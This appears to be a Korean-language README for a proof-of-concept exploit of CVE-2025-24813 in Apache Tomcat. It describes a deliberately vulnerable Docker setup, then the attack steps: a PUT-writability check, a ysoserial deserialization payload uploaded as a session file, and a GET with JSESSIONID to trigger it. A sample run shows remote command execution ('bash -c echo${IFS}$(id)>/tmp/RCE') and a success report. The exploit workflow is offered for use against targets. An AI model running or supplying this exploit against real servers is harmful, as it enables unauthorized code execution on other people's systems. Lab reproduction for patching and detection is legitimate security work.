
Apache Tomcat의 취약점인 CVE-2025-24813에 대한 개념 증명(PoC) 스크립트입니다.
Apache Tomcat의 취약점 CVE-2025-24813에 대한 개념 증명(PoC) 스크립트입니다.
이 스크립트는 관련 링크를 기반으로 수정되었으며 제 필요에 맞게 조정되었습니다.
공식 Tomcat 9.0.90 이미지를 기반으로 한 환경입니다. 서버의 읽기 전용 제한을 제거하고 세션 데이터를 디스크에 저장하도록 구성합니다. 그런 다음 ROOT.war 파일을 Tomcat의 webapps/ 디렉터리에 복사하여 자동으로 애플리케이션을 배포합니다.
docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813
check.txt 파일을 배치하여 서버가 PUT 요청을 수락하는지 확인합니다.ysoserial을 사용하여 원하는 명령에 대한 페이로드를 생성합니다.JSESSIONID와 함께 GET 요청이 전송되어 역직렬화가 트리거됩니다.$ python3 cve_2025_24813.py
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ █████╗ ██╗██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██║ ██║██╔══██╗███║╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████╗ ██║╚█████╔╝ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═╝╚═════╝
--- Apache Tomcat Remote Code Execution PoC by Hakan Karabacak ---
Enter target URL (e.g., http://target.com:8080): http://target.com:8080
Enter command to execute (default: bash -c echo${IFS}$(id)>/tmp/RCE):
Enter path to ysoserial.jar (default: ysoserial.jar):
Enter ysoserial gadget chain (default: CommonsCollections6):
[*] Session ID: hk1337
[+] Server is writable via PUT: http://target.com:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/RCE
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://target.com:8080/hk1337.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://target.com:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser